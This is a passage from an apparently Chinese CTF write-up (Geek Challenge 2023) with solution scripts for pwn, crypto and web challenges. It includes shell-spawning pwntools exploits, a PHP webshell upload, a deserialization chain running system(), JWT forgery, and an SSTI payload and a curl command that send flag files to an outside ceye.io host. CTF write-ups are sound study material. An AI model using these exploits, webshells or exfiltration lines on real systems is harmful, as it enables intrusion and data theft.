ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():
    return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal4&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 31922)
#elf = ELF(&apos;./chal4&apos;)
libc = cdll.LoadLibrary(&apos;./libc.so.6&apos;)
srand=libc.srand(libc.time(0)%60)
v2 = libc.rand()
v3= libc.rand()
can=(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
print(can)
canary=(hex(can)[:13:-1])[::-1]
canary=int(canary,16)
print(hex(canary))


payload=asm(shellcraft.open("flag"))
payload+=asm(shellcraft.read(3,0x4040A0+0x200,0x50))
payload+=asm(shellcraft.write(1,0x4040A0+0x200,0x50))

rl("Please enter your name:\n")
sl(payload)


rl("tell me something:")
pay=b&apos;a&apos;*(0x8)+p64(canary)*2+p64(0x4040E0)

sl(pay)

inter()

why_n0t_puts

ret2dlresolve板子题

from pwn import *

#p=process("./chal11")

elf = context.binary = ELF('./chal11')

p = remote("pwn.node.game.sycsec.com",31338)

rop = ROP(elf)



# create the dlresolve object

dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])



rop.raw('A' * 56)

rop.read(0, dlresolve.data_addr)

rop.ret2dlresolve(dlresolve)



log.info(rop.dump())



p.sendline(rop.chain())

p.sendline(dlresolve.payload)

p.interactive()

EVA

利用任意地址写,把stack_check_faill的got表修改为main函数地址,然后再泄露libc地址,之后把puts的got表改成one_gadget即可

from pwn import *

from struct import pack

from ctypes import *

from LibcSearcher import *

import base64

import gmpy2

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def s(a):

    p.send(a)

def sa(a, b):

    p.sendafter(a, b)

def sl(a):

    p.sendline(a)

def sla(a, b):

    p.sendlineafter(a, b)

def r():

    p.recv()

def pr():

    print(p.recv())

def rl(a):

    return p.recvuntil(a)

def inter():

    p.interactive()

def bug():

    gdb.attach(p)

    pause()

def get_addr():

    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))



context(os='linux', arch='amd64', log_level='debug')

#p = process('./EVA')

p = remote('pwn.node.game.sycsec.com', 30243)

elf = ELF('./EVA')

#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

libc = ELF('./libc.so.6')



main=0x401282



rl("Do you know <Neon Genesis Evangelion>\n")

sl(str(0))





rl("I'll punish you to go back and watch\n")

pay=p64(0x404030+0x40+0x10)+p64(0x401355)

#bug()

s(pay)



pay=p64(0x401282)

s(pay)





rl("Do you know <Neon Genesis Evangelion>\n")

sl(str(0))



rl("I'll punish you to go back and watch\n")

pay=p64(0x404080+0x40)+p64(0x401305)

s(pay)





libc_base=get_addr()-libc.sym['_IO_2_1_stderr_']

li(hex(libc_base))

one_gadget=libc_base+0xe3b01

write=libc_base+libc.sym['_IO_2_1_stdout_']





sl(str(write&0xffffffff))



rl("I'll punish you to go back and watch\n")

pay=p64(0x404030+0x40+0x10)+p64(one_gadget)

s(pay)







rl("Do you know <Neon Genesis Evangelion>\n")

sl(str(0))





rl("I'll punish you to go back and watch\n")

pay=p64(0x404018+0x50)+p64(0x401355)

s(pay)



pause()

pay=p64(one_gadget)

s(pay)



rl("Do you know <Neon Genesis Evangelion>\n")

sl(str(0))







#libc_base=get_addr()-2017664

#li(hex(libc_base))

#one_gadget=libc_base+0xe3afe

#sl(str(0))

#rl("I'll punish you to go back and watch\n")

#pay=p64(0)+p64(one_gadget)

#s(pay)



      

inter()

fmt2.0

读入的字节少,手动构造payload,把返回地址修改成one_gadget即可

from pwn import *

from struct import pack

from ctypes import *

from LibcSearcher import *

import base64

import gmpy2

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def s(a):

    p.send(a)

def sa(a, b):

    p.sendafter(a, b)

def sl(a):

    p.sendline(a)

def sla(a, b):

    p.sendlineafter(a, b)

def r():

    p.recv()

def pr():

    print(p.recv())

def rl(a):

    return p.recvuntil(a)

def inter():

    p.interactive()

def bug():

    gdb.attach(p)

    pause()

def get_addr():

    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))



context(os='linux', arch='amd64', log_level='debug')

#p = process('./fmt2.0')

p = remote('pwn.node.game.sycsec.com', 30045)

elf = ELF('./fmt2.0')

libc=ELF("./libc.so.6")

#libc = ELF('./libc-2.31.so')



rl("frist str:")

pay=b'%19$p%16$p'

#bug()

sl(pay)



libc_base=int(p.recv(14),16)-libc.sym['__libc_start_main']-243

li(hex(libc_base))

one_gadget=libc_base+0xe3b01



stack=int(p.recv(14),16)-232

li(hex(stack))



rl("second str:")

pay=(b'%'+str((one_gadget>>16)&0xff).encode()+b'c%10$hhn'+b'%'+str((((one_gadget)&0xffff)-((one_gadget>>16)&0xff))).encode()+b'c%11$hn').ljust(32,b'\x00')+p64(stack+2)+p64(stack)

print(len(pay))



s(pay)

li(hex(one_gadget))

li(hex((one_gadget>>16)&0xff))

li(hex(((one_gadget)&0xffff)-((one_gadget>>16)&0xff)))



      

inter()

fmt3.0

脚本如下:

from pwn import *

import sys

remote_addr = ["pwn.node.game.sycsec.com",port]

libc = ELF('./libc.so.6')

#elf = ELF('')

if len(sys.argv) == 1:

    context.log_level="debug"

    #p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"])

    #p = process(["qemu-aarch64", "-L", ".", "./stack"])

    p = process("./fmt3.0_patched")

    context(arch='amd64', os='linux')

    context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) == 2 :

    if 'r' in sys.argv[1]:

        p = remote(remote_addr[0],remote_addr[1])

    if 'n' not in sys.argv[1]:

        context.log_level="debug"

        context(arch = 'amd64', os = 'linux')

r = lambda : p.recv()

rl = lambda : p.recvline()

rc = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x)

rud = lambda x: p.recvuntil(x, drop=True)

s = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)

shell = lambda : p.interactive()

pr = lambda name,x : log.info(name+':'+hex(x))



DEBUG = 1



def debug(bp = None):

    if DEBUG == 1:

        if bp != None:

            gdb.attach(p, bp)

        else:

            gdb.attach(p)



#debug()



payload = b'%8$p.%13$p'

sa(b'me!', payload)

ru(b'0x')

stack_addr = int(rc(12), 16)

pr('stack_addr', stack_addr)

ru(b'0x')

libc.address = int(rc(12), 16) - libc.sym['__libc_start_main'] - 243

binsh = next(libc.search(b'/bin/sh\x00'))

pop_rdi = libc.address + 0x23b6a

ret = libc.address + 0xc16ab

system = libc.sym['system']

pr('libc.address', libc.address)



ret_addr = (stack_addr + 8) & 0xff



payload = b'%' + str(ret_addr).encode() + b'c%8$hhn'

sa(b'me!', payload)



payload = b'%' + str(0x74).encode() + b'c%10$hhn'

sa(b'me!', payload)



payload = flat(ret, pop_rdi, binsh, system)

pause()

s(payload)



shell()

CRYPTO

ext^7gcd

用前两数gcd,使后面的a[i]p[i]和为0

exp:

from Crypto.Util.number import *
from string import *
from hashlib import *
from string import *
from gmpy2 import *
from pwn import *

dic = ascii_letters + string.digits
io = remote('59.110.20.54', 1789)

io.recvuntil(b'XXXX+')
t = io.recvuntil(b')').decode().strip()[:-1]

io.recvuntil(b'== ')
c_sha256 = io.recvline().decode().strip()

for i in dic:
    for j in dic:
        for k in dic:
            for x in dic:
                cipher = i + j + k + x + t
                z = sha256(cipher.encode()).hexdigest()
                if z == c_sha256:
                    res = i + j + k + x

io.sendline(res)
while True:
    try:
        io.recvuntil('[')
        p = io.recvuntil(b']').decode().strip()[:-1]
        p = list(map(int, p.split(',')))

        a = [0] * 7

        _, a[0], a[1] = gcdext(p[0], p[1])

        for i in range(2,len(p)):
            a[i] += p[0]
            a[0] -= p[i]
           
        ans = ''
        for i in a:
            ans = ans + str(i) +','
        ans = ans[:-1]
        io.sendline(ans)
       
    except:
        k = io.recv()
        print(k)
        break

io.interactive()

EzComplex

复数域分解p2+q2

exp:

from Crypto.Util.number import *
from gmpy2 import *

N = 973990451943921675425625260267293227445098713194663380695161260771362036776671793195525239267004528550439258233703798932349677698127549891815995206853756301593324349871567926792912475619794804691721625860861059975526781239293017498
c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
e = 0x10001
f = ZZ[i](N)

for i in divisors(f):
    if (i[0] ** 2 + i[1] ** 2 == N):
        p = abs(int(i[0]))
        q = abs(int(i[1]))
        if isPrime(p):
            n = p * q
            phi = (p - 1) * (q - 1)
            d = invert(e, phi)
            m = powmod(c, d, n)
            print(long_to_bytes(m))

card_game

lcg

exp:

from pwn import *
from Crypto.Util.number import *
from gmpy2 import *

io = remote("59.110.20.54", 4953)
io.recv()
io.sendline(str(1).encode())

card_num = ['_A', '_2', '_3', '_4', '_5', '_6', '_7', '_8', '_9', '_10', '_J', '_Q', '_K']

x = []
for _ in range(2):
    io.recvuntil(b'gift: ')
    t = io.recvuntil(b']').decode().strip()
    t = t[1:len(t) - 1]
    gift = t.split(', ')

    for i in gift:
        temp = int(i)
        x.append(temp)

x6 = int(gift[2]) 
print(x)

t = []

for i in range(1, len(x)):
    t.append(x[i] - x[i-1])

m = 0
for i in range(1, len(t)-1):
    m = GCD(t[i+1]*t[i-1] - t[i]*t[i], m)

print(m)
assert isPrime(m)
a = (x[2] - x[1]) * inverse(x[1] - x[0], m)
b = (x[1] - a*x[0]) % m


def choose_card(num):
    x = (num>>5)%4
    if x == 0:
        return ((num>>6)%13), 'Heart'
    if x%4 == 1:
        return ((num>>6)%13), 'Spade'
    if x%4 == 2:
        return ((num>>6)%13), 'Diamond'
    else:
        return ((num>>6)%13), 'Club'

out = x6
print(out)
while True:
    try:
        res = []
        answer = []
        for j in range(3):
            out = (out * a + b) % m
            res.append(out)
        for j in res:
            card, suit = choose_card(j)
            ans = suit + card_num[card] 
            answer.append(ans)
        ans = (' '.join(answer)).encode()
        sleep(0.1)
        io.sendline(ans)
    except:
        x = io.recv()
        if b'SYC' in x:
            print(x)
        break

io.interactive()

Energetic_Carcano

类似lcg的操作

exp:

from Crypto.Util.number import *
from gmpy2 import *

pts = []
f = []
for x in range(len(pts)):
    f.append(pts[x, 1] ** 2 - pts[0, 1] ** 2 - (pts[x, 0] ** 3 - pts[0, 0] ** 3))

p1 = f[3] * (pts[2, 0] - pts[0, 0]) - f[2] * (pts[3, 0] - pts[0, 0])
p2 = f[1] * (pts[2, 0] - pts[0, 0]) - f[2] * (pts[1, 0] - pts[0, 0])
p = gcd(p2, p1)
print(p)
assert isPrime(p)

inv = invert(pts[1, 0] - pts[0, 0], p)
a = (f[1] * inv) % p
print(a)

b = (pts[1, 1] ** 2 - pts[1, 0] ** 3 - a * pts[1, 0]) % p
print(b)

JPGDiff

Hilbert曲线,上网找个脚本改改

from PIL import Image

images = []
raw = Image.open("./geek_chanllenge/ct.png")
for i in range(0,65536):
    region = raw.crop((0,i,1,i+1))
    images.append(region)

new_image = Image.new("RGB", (256,256), "white")

cd=['w']
for ttt in range(0,8):
    tcd=[]
    for i in cd:
        if(i=='w'):
            tcd.append('d')
            tcd.append('w')
            tcd.append('w')
            tcd.append('a')
        if(i=='d'):
            tcd.append('w')
            tcd.append('d')
            tcd.append('d')
            tcd.append('s')
        if(i=='s'):
            tcd.append('a')
            tcd.append('s')
            tcd.append('s')
            tcd.append('d')
        if(i=='a'):
            tcd.append('s')
            tcd.append('a')
            tcd.append('a')
            tcd.append('w')
    cd=tcd[:]
    print(cd,len(cd))
x=256
y=0

for i in range(0,65536):
    new_image.paste(images[i],(x,y))
    if(cd[i]=='w'):
        x-=1
    if(cd[i]=='d'):
        y+=1
    if(cd[i]=='s'):
        x+=1
    if(cd[i]=='a'):
        y-=1
new_image.save("./geek_chanllenge/out.png")

Simple3DES

弱密钥

key=b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"+b"\x01\x01\x01\x01\x01\x01\x01\x01"+b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"

加密两次等于没加密

exp:

from Crypto.Util.number import *

key = b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"+b"\x01\x01\x01\x01\x01\x01\x01\x01"+b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"
print(bytes_to_long(key))
print(long_to_bytes(37699681561444816228091816433931698303804192466855953954712547876593130083457))

Fi1nd_th3_x'

from sage.arith.all import crt

def extended_crt(congruences):
    remainders = [congruence[0] for congruence in congruences]
    moduli = [congruence[1] for congruence in congruences]

    solution = crt(remainders, moduli)
    return solution

p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009

congruences = [(dP,(q-1)*(r-1)), (dQ,(p-1)*(r-1)), (dR,(p-1)*(q-1))]


result = extended_crt(congruences)
print("Solution:", result)

d =  165491523462007956398530261238759923870196080375265000534525661690633345463015242789311873568146385720020040624656002271057930225387764840769974562070646182847943707538823108901869155436725226837904509058886854986841295642060081156709176798958145207599953407769840343425663149902266682646724106747828667725830936024035707038099651237637163657086990976684361419102226209657433291392884336805246968126787159394313213089671545441606442264218646417418814509400366113

c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
flag=pow(c,d,p*q*r)
from libnum import *
print(n2s(int(flag)))

#SYC{CRT_1s_f3n_but_Gen3hi_im9act_is_a_balabalaba}

Diligent_Liszt

p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266
e=3

c1 = GF(p)(y)
c2 = GF(q)(y)
c3=  GF(r)(y)
e1 = GF(p)(e)
e2 = GF(q)(e)
e3 = GF(r)(e)
k1 = discrete_log(c1, e1)
k2 = discrete_log(c2,  e2)
k3 = discrete_log(c3, e3)
m = crt([k1, k2,k3], [p - 1, q - 1,r-1])
print(bytes.fromhex(hex(m)[2:]))

#SYC{D1scr3te_L0g_W1th_Mult1pl3_pr1m35}

Signin

16进制ascii码转换为字符,得到flag

proof_of_work

import hashlib

import re

import string

from itertools import product as iterate_product



def perform_security_check():

    security_info = 'sha256(XXXX+FCxk8M9svYwVMfGe) == 793edc396da13a7992b429e50e7d122c41debbd902419d26a0792b4008dba844'

    character_set = string.ascii_letters + string.digits

    secret_suffix = re.search(r'\(XXXX\+(.*?)\)', security_info).group(1)

    target_hash = re.search(r'== (.*?)$', security_info).group(1)

    print(f"Secret Suffix: {secret_suffix}, Target Hash: {target_hash}")



    for attempt in iterate_product(character_set, repeat=4):

        prefix_attempt = ''.join(attempt)

        guess_attempt = f"{prefix_attempt}{secret_suffix}"

        if hashlib.sha256(guess_attempt.encode()).hexdigest() == target_hash:

            print(f"Success! Found XXXX Prefix: {prefix_attempt}")

            return prefix_attempt



    return None



perform_security_check()

SimpleRSA

OTPTwice

from pwn import xor
M1=b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
M2=b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
M3=b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'


n1=xor(M2,M3)
n2=xor(M2,M1)

flag=xor(n1,M1)
print(flag)

OldAlgorithm

from Crypto.Util.number import *

c_values = [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
p_values = [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]

def solve_modulo_equations(c_values, p_values):
   n = len(c_values)
   M = 1
   M_values = []
   for p in p_values:
       M *= p

   for p in p_values:
       M_values.append(M // p)

   y_values = [inverse(M_values[i], p_values[i]) for i in range(n)]

   x = 0
   for i in range(n):
       x += c_values[i] * M_values[i] * y_values[i]

   x %= M

   return long_to_bytes(x)

flag = solve_modulo_equations(c_values, p_values)
print("Decrypted Flag:", flag)

easy_classic

凯撒,栅栏,base64,熊曰,emoji,playfair

PolyRSA

csdn找到相关解法

from Crypto.Util.number import * 
from gmpy2 import * 
 
e1 = 113717 
e2 = 80737 
c1 = 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357 
c2 = 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222 
cipher = 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356 
n = 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089 
e = 65537 
 
ee = e1 * e2 
a = powmod(2, ee, n) 
b = powmod(3, ee, n) 
c = powmod(5, ee, n) 
d = powmod(7, ee, n) 
 
t = a * d - b * c 
kp = invert(t, n) * (d * powmod(c1, e2, n) - b * powmod(c2, e1, n)) % n 
 
p = gcd(kp, n) 
q = n // p 
 
phi = (p - 1) * (q - 1) 
m = powmod(cipher, invert(e, phi), n) 
print(long_to_bytes(m))

Just need one

选择-2**32.

每次取走32位,转成十进制,再保证值n总会回到正数所以n*-1.

import socket 
import json 
import os  
import random  
import string  
import hashlib 
 
 
def getHashAnswer(p,q): 
        alphabet=''.join([chr(i+ord('a')) for i in range(0,26)]+[chr(i+ord('A')) for i in range(0,26)]+[chr(i+ord('0')) for i in range(0,10)]) 
        for a in alphabet: 
            for b in alphabet: 
                for c in alphabet: 
                    for d in alphabet: 
                        t=hashlib.sha256((a+b+c+d+p).encode()).hexdigest() 
                        if(t==q): 
                            return a+b+c+d 
 
 
target_ip = "59.110.20.54" 
target_port =2613 
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
sock.connect((target_ip, target_port)) 
  
response = sock.recv(2048).decode() 
print(f"Response:\n{response}\n") 
ans1 = getHashAnswer(response.split('+')[1].split(")")[0],response.split("=")[-1].split()[0]) 
print(ans1) 
sock.sendall(ans1.encode("utf-8")) 
sock.send(b'\n') 
  
response = sock.recv(2048).decode() 
print(f"Response:\n{response}\n") 
sock.sendall(str(-pow(2,32)).encode("utf-8")) 
sock.send(b'\n') 
  
response = sock.recv(2048).decode() 
print(f"Response:\n{response}\n") 
num=int(response[:-25]) 
b=[] 
  
for j in range(0,128): 
  num=num+pow(2,32*128) 
  b.append(int(bin(num)[-32:],2)) 
  num//=pow(2,32) 
  num*=-1 
  
sock.sendall(str(b)[1:-1].encode("utf-8")) 
sock.send(b'\n') 
response = sock.recv(2048).decode() 
print(response) 

WEB

unsign

exp如下

<?php

highlight_file(__FILE__);

class syc

{

  public $cuit;

  public function __destruct()

  {

      echo("action!<br>");

      $function=$this->cuit;

      return $function();

  }

}

​

class lover

{

  public $yxx;

  public $QW;

  public function __invoke()

  {

      echo("invoke!<br>");

      return $this->yxx->QW;

  }

​

}

​

class web

{

  public $eva1;

  public $interesting;

​

  public function __get($var)

  {

      echo("get!<br>");

      $eva1=$this->eva1;

      $eva1($this->interesting);

  }

}

$a = new syc();

$a->cuit = new lover();

$a->cuit->yxx = new web();

$a->cuit->yxx->eva1 = 'system';

$a->cuit->yxx->interesting = 'cat /flag';

echo serialize($a);

?>

EzHttp

查看源码访问robots.txt,账号密码在/o2takuXX's_username_and_password.txt文件里post传参

username=admin&password=@dm1N123456r00t#
Referer: sycsec.com
User-Agent: Syclover
X-Forwarder-For: 127.0.0.1

n00b_Upload

文件上传

文件名:shell.php 文件内容: GIF89a <?= eval($_POST[1]);?>

easy_php

GET传参: syc=Welcome+to+GEEK+2023!%0a&lover=2022e1 POST传参: qw[]=&yxx[]=&SYC[GEEK.2023=Happy to see you!

ctf_curl

-T /tmp/Syclover y91yp4.ceye.io    //带出指定文件的内容

flag保卫战

源码获取账号密码登录后先伪造JWT,密码为默认的123456,然后条件竞争获取flag

import requests

import threading



headers = {

    'Cookie':'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY'

}



url = 'https://lqbalz8ywlacp9ynx4e7vt8jr.node.game.sycsec.com/'

uploadurl = url + 'upload'

csrfurl = url + 'new-csrf-token'

flagurl = url + 'flag?pass=1111'

listurl = url + 'file-list'

def upload():

    while True:

        r = requests.get(url=csrfurl,headers=headers)

        content_length = r.headers.get('Set-Cookie')

        csrf_token1 = content_length.split('yak_csrf=')[-1].split(';')[0]

        file = {'filename':('1.txt','1','text/plain')}

        data = {

        'yak-token':r.text

        }

        headers2 = {

            'Cookie': 'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY; yak_csrf='+csrf_token1

        }

        r2 = requests.post(url=uploadurl,headers=headers2,files=file,data=data)

        print(r2.text)

def flag():

    while True:

        r = requests.get(url=csrfurl, headers=headers)

        content_length = r.headers.get('Set-Cookie')

        csrf_token1 = content_length.split('yak_csrf=')[-1].split(';')[0]

        data = {

            'yak-token': r.text

        }

        headers2 = {

            'Cookie': 'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY; yak_csrf=' + csrf_token1

        }

        # r2 = requests.get(url=listurl,headers=headers2,data=data)

        # print(r2.text)

        r3 = requests.get(url=flagurl,data=data,headers=headers2)

        print(r3.text)





threads = [threading.Thread(target=upload), threading.Thread(target=flag)]



for t in threads:

    t.start()

klf_ssti

无回显sstihackbar随便一个payload直接打

url/hack?klf={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('curl http://y91yp4.ceye.io/`cat /app/fl4gfl4gfl4g | base64`').read()}}{%endif%}{%endfor%}

ez_remove

O:3:"syc":2:{S:5:"love\72";s:23:"assert($_POST["chu0"]);";}


//这里的assert必须要加,不然会连不上

改为http信道,使用base64编码进行连接

ez_path

pin后直接命令执行

记得用print

print(__import__('os').popen('ls').read())

you konw flask?

session伪造,key随便写个脚本爆一下

app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'

脚本如下

import itertools

import flask_unsign

from flask_unsign.helpers import wordlist

import requests as r

import time

import re

import sys

import base64

path = "wordlist.txt"



print("Generating wordlist... ")



with open(path,"w") as f:

    #permutations with repetition

    [f.write('wanbao'+base64.b64encode(str(i).encode('utf-8')).decode('utf-8')+'wanbao'+'\n') for i in range(1,100)]



url = "http://47.115.201.35:8000/index"

#cookie_tamper = r.head(url).cookies.get_dict()['session']

cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMjMiLCJ1c2VyX2lkIjoyfQ.ZUdERQ.G9_GQ_94b-KfDOtnxWXVWWZOV94'

print("Got cookie: " + cookie_tamper)



print("Cracker Started...")



obj = flask_unsign.Cracker(value=cookie_tamper)



before = time.time()



with wordlist(path, parse_lines=False) as iterator:

            obj.crack(iterator)



secret = ""

if obj.secret:

    secret = obj.secret.decode()

    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

session伪造拿下flag

Pupyy_rce

